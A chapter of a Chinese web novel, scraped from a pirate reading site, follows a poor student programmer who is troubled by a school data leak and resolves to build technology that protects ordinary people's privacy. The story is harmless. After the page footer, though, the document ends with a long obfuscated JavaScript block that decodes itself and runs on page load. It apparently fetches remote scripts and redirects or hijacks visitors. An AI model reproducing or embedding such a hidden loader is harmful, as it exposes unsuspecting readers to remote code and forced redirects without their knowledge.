首页
前传第1章 理工楼的孤影,代
返回
关灯 护眼:关 字号:小

前传第1章 理工楼的孤影,代码为灯

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    前传第1章理工楼的孤影,代码为灯(第1/2页)
    深秋的风,带着北方独有的凛冽,穿过江城工业大学的林荫道。
    梧桐叶落了满地,枯黄卷曲,被风卷着贴在冰冷的地砖上,又骤然散开,像一地破碎的星光。
    夜里十点。
    整座校园的喧嚣尽数落潮。
    图书馆闭馆的人流早已散尽,食堂早已熄灯,主干道的路灯隔三差五亮着,昏黄光晕拉得人影极长,冷清又寂静。
    唯独老旧的三号理工楼,顶层最靠西的那间机房,依旧亮着一盏孤灯。
    白光透过蒙着薄灰的玻璃窗,刺破沉沉夜色,在漆黑的校园里,固执地亮着。
    亮了整整三年。
    亮给一个常年独处的少年。
    机房里没有暖气,深秋的夜风顺着老化的窗缝钻进来,刺骨的凉。
    十八岁的龙胆草坐在靠窗的旧电脑前,脊背挺得笔直,不偏不倚,带着寒门孩子刻在骨子里的克制与端正。
    一身洗得发白的藏青色校服外套,袖口磨出了细微的毛边,领口干净整洁,没有半点褶皱。
    黑发细软,垂在额前,遮住了些许眉眼。
    只露出一截清瘦利落的下颌,线条干净,透着超越同龄人的沉静。
    不张扬,不锐利,沉默得像一潭深水。
    屏幕冷白的光映在他眼底,跳动的代码一行行翻滚,密密麻麻,无声流淌。
    键盘被敲击的声音清脆规律,哒哒、哒哒。
    在空旷死寂的机房里,格外清晰,成了这深夜唯一的活声。
    龙胆草指尖不停,指骨干净修长,起落稳而准,没有一丝多余的动作。
    他从大一开始泡这间机房。
    别人躲着枯燥的算法、冗长的代码,唯恐避之不及。
    他偏偏偏爱这份安静。
    对旁人而言,编程是课业,是学分,是不得不完成的枯燥任务。
    对他而言,屏幕里跳动的字符、堆叠的逻辑、串联的数据,是黑暗里最稳的灯火,是普通人唯一握得住的公平出路。
    他出身寒门。
    山城深山里走出来的孩子,父母守着几亩薄田,一辈子面朝黄土,勤恳质朴,却抵不过生活的磋磨。
    家里没有积蓄,没有人脉,没有能托底的退路。
    从小到大,他听过最多的一句话就是:读书是你唯一的出路。
    他信了,也踏踏实实走了十几年。
    不贪玩,不攀比,不抱怨,默默埋头,一步一步走出大山,考进这所江城重点理工院校,踩稳了人生第一道台阶。
    可越往前走,他越清晰地感知到。
    读书能改命,能让普通人跳出贫瘠的故土。
    却护不住普通人的体面,护不住普通人藏在时代缝隙里的隐私与安稳。
    电脑右下角,弹出一条不起眼的系统推送新闻,浅灰色字体,安静躺在角落,本该被无数人随手划过、视而不见。
    【本市百余所中小学学生信息疑似批量泄露,包含姓名、家庭住址、家长电话、学籍档案,流入灰色数据交易平台。】
    短短一行字,没有惊心动魄的标题,没有沸沸扬扬的热度。
    轻飘飘的一句话,背后是成千上万普通家庭的隐私裸奔。
    龙胆草敲击键盘的指尖,骤然一顿。
    清脆的按键声,瞬间戛然而止。
    空旷的机房,瞬间静得彻底。
    风从窗缝灌进来,吹得窗沿的旧窗帘轻轻晃动,凉意浸透衣衫。
    他微微垂眼,目光落在那行新闻上,眼底的平静,缓缓裂开一道细缝。
    没有夸张的愤怒,没有少年热血的嘶吼。
    只有一种沉沉的、压在心底的无力感,慢慢漫上来。
    他见过这种事。
    太多次了。
    从高中开始,他就频频看到类似的新闻。
    普通人的手机号、身份证信息、购房记录、就医档案、出行轨迹。
    无数本该被严密保护的私人数据,像不值钱的垃圾,被肆意打包、分类、倒卖,流转在隐秘的灰色产业链里。
    没人追责,没人负责,没人在意普通人的惶恐。
    资本逐利,平台偷懒,行业默许。
    所有人都在享受大数据带来的便利,却没人愿意为普通人的隐私安全买单。
    技术在飞速迭代,算法在不断精进。
    可技术的初心,早已在逐利的洪流里,悄悄偏了航。
    它不再是守护人的工具,反倒成了收割人的利器。
    龙胆草微微攥紧指尖,指腹抵在微凉的键盘上,一片冰凉。
    他想起老家的邻居阿姨。
    老实本分一辈子,勤俭度日,从未得罪过人。
    只因一次网上挂号、一次线上填表,泄露了个人信息。
    此后数年,诈骗电话、推销短信、网贷骚扰,从未间断。
    老人不懂辨别,不懂维权,整日惶惶不安,夜里常常睡不好觉,总觉得自己被人扒光了底子,暴露在陌生人眼前。
    也想起远在家乡的父母。
    不懂网络规则,不懂信息防护,每次接到陌生来电,都会小心翼翼反复确认,生怕上当受骗,辛苦半生的积蓄付诸东流。
    他们一辈子安分守己,勤恳生活。
    从未做错任何事。
    却要为这个时代的数据漏洞、行业乱象,被动承担风险与惶恐。
    凭什么?
    龙胆草看着屏幕上密密麻麻的代码,心底第一次生出强烈的反问。
    凭什么最普通、最善良的人,永远是信息泄露的受害者?
    凭什么飞速发展的技术,不能护住最弱小的普通人?
    凭什么本该向善的科技,最后只沦为资本牟利的工具?
    十八岁的少年,尚未涉足职场,尚未见识商业博弈的残酷。
    却在无数个深夜的代码堆叠里,在无数条不起眼的社会新闻里,早早窥见了这个行业最隐蔽、最冰冷的真相。
    机房的门,被人从外面轻轻推开。
    (本章未完,请点击下一页继续阅读)前传第1章理工楼的孤影,代码为灯(第2/2页)
    冷风裹挟着夜色灌进来,吹动室内安静的空气。
    三个背着书包的男生探头进来,是同班的室友。
    “草草,还不走?都十点多了,宿管阿姨快锁门了。”
    “今晚别卷了,全系就你一个人天天泡机房,劳逸结合行不行?”
    “周末班级聚餐,大家都去,你也别缺席了,天天闷头敲代码,都快敲自闭了。”
    三人的声音带着年轻人的鲜活热闹,打破了一室沉寂。
    龙胆草缓缓收回目光,关掉那条新闻页面,屏幕重新回归整齐规整的算法界面。
    他抬眼,神色依旧平静,只是眼底深处,多了一丝旁人读不懂的沉凝。
    “你们先回。”
    他声音偏低,音色清润温和,带着少年独有的干净澄澈,没有半分孤傲疏离。
    “我再改一段代码。”
    室友早已习惯了他的性子。
    不爱热闹,不喜扎堆,安静自律,永远有自己的节奏。
    旁人大学三年谈恋爱、打游戏、逛夜市、混社团。
    他的大学,只有教室、食堂、机房三点一线。
    不攀比穿戴,不挥霍时光,把所有精力都砸在了枯燥的理工代码里。
    旁人只当他是寒门出身,拼命读书,只为将来找一份安稳工作,摆脱贫困。
    只有他自己知道。
    他想要的,从来不止一份高薪工作、一个安稳前程。
    室友笑着摇了摇头:“真是卷王本王,行了不等你了,记得早点回来,别通宵,伤身体。”
    话音落,脚步声渐远,门被轻轻带上。
    机房再度归于死寂。
    热闹褪去,只剩孤灯、屏幕、代码,和静坐的少年。
    风还在吹,夜色更深,整片校园彻底沉入静谧的睡梦。
    龙胆草重新抬手,指尖落回键盘上。
    哒哒,哒哒。
    敲击声再度响起,平稳、坚定,比刚才更沉,更稳。
    他继续完善手里的数据溯源算法。
    这是他课余自主研究的小程序,没有学分加持,没有比赛加分,没有老师要求,纯粹是他自发摸索、反复打磨。
    市面上所有的数据加密程序,重心永远在企业防护、平台风控、商业保密。
    高端算法层层堆叠,护的是资本的利益,护的是平台的权益。
    唯独漏掉了千千万万普通用户。
    漏掉了最无话语权、最无力自保的普通人。
    没人愿意花成本,做一套真正落地、真正便民、真正守护个人隐私的加密系统。
    不赚钱,无利可图,资本不屑于做,行业懒得深耕。
    可龙胆草偏觉得,这件事,最该有人做。
    技术从无高低,人心才有取舍。
    科技的终极意义,从来不是制造差距、收割利益、划分阶层。
    是兜底,是守护,是让普通人在时代洪流里,拥有一寸安稳立足之地。
    他一行行修改漏洞,一遍遍优化逻辑,眼底的迷茫渐渐褪去,取而代之的是一种纯粹又执拗的笃定。
    窗外夜色沉沉,星月隐晦。
    室内一盏孤灯,明亮如初。
    少年坐在光影交界处,一半是屏幕冷白的光,一半是深夜浓稠的暗。
    眉眼清浅,心性澄明。
    没人知道,这个深夜独坐机房、沉默敲码的寒门少年。
    此刻心底悄然生根的这点微小执念。
    会在多年以后,破土成林,逆势生长。
    会诞生出震惊整个行业的「五彩绫镜」。
    会在资本横行、乱象丛生的科技职场里,撑起一片向善的天地。
    会集结一群志同道合的人,熬过创业绝境,踏过职场风雨,守住行业底线,守住千万普通人的数据安稳。
    屏幕右下角,时间悄然跳转,夜里十一点整。
    江城的夜彻底深了,城市灯火次第熄灭,喧嚣落尽。
    理工楼的这间顶层机房,依旧灯火通明。
    龙胆草揉了揉微微发酸的眉眼,抬手保存完最新一版算法,指尖停顿在回车键上。
    目光透过蒙灰的玻璃窗,望向远处漆黑的夜空。
    夜色辽阔,前路未知。
    他不知道自己未来能走到哪一步,不知道微弱的个人执念能否对抗整个行业的逐利洪流。
    可他心底无比清晰。
    他学技术,不是为了依附资本、追名逐利。
    不是为了进入大厂、内卷晋升、换取高薪体面。
    他只想做一件事。
    让技术向善,让算法护人。
    让每一个普通的普通人,不必再为数据泄露惶恐,不必再为时代漏洞买单。
    沉默良久,少年轻轻吐出一口气,声音很轻,却字字坚定,落于寂静深夜。
    “总要有人,做兜底的人。”
    风吹窗棂,无声回应。
    代码为灯,初心为路。
    多年以后,龙胆草无数次站在龙胆科技的落地窗前,回望自己的创业来路。
    风雨跌宕,博弈丛生,资本围剿,职场内耗,无数次濒临绝境、进退维谷。
    可每一次濒临放弃的瞬间,他都会想起十八岁这个深秋的深夜。
    想起这间老旧理工楼的孤灯。
    想起屏幕前纯粹执拗的自己。
    想起最初那颗不慕名利、只想守护平凡的赤子之心。
    那是他一生所有坚守的源头。
    是「五彩绫镜」最初的一缕微光。
    是漫长风雨人生路里,永不熄灭的初心火种。
    夜色更深,键盘声继续在空荡机房里轻轻回响。
    少年静坐灯下,不问前路风雨,只守当下本心。
    属于他,属于龙胆科技,属于一群人的漫长坚守与风雨征程,自此,悄然开篇。
    (本章完)
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();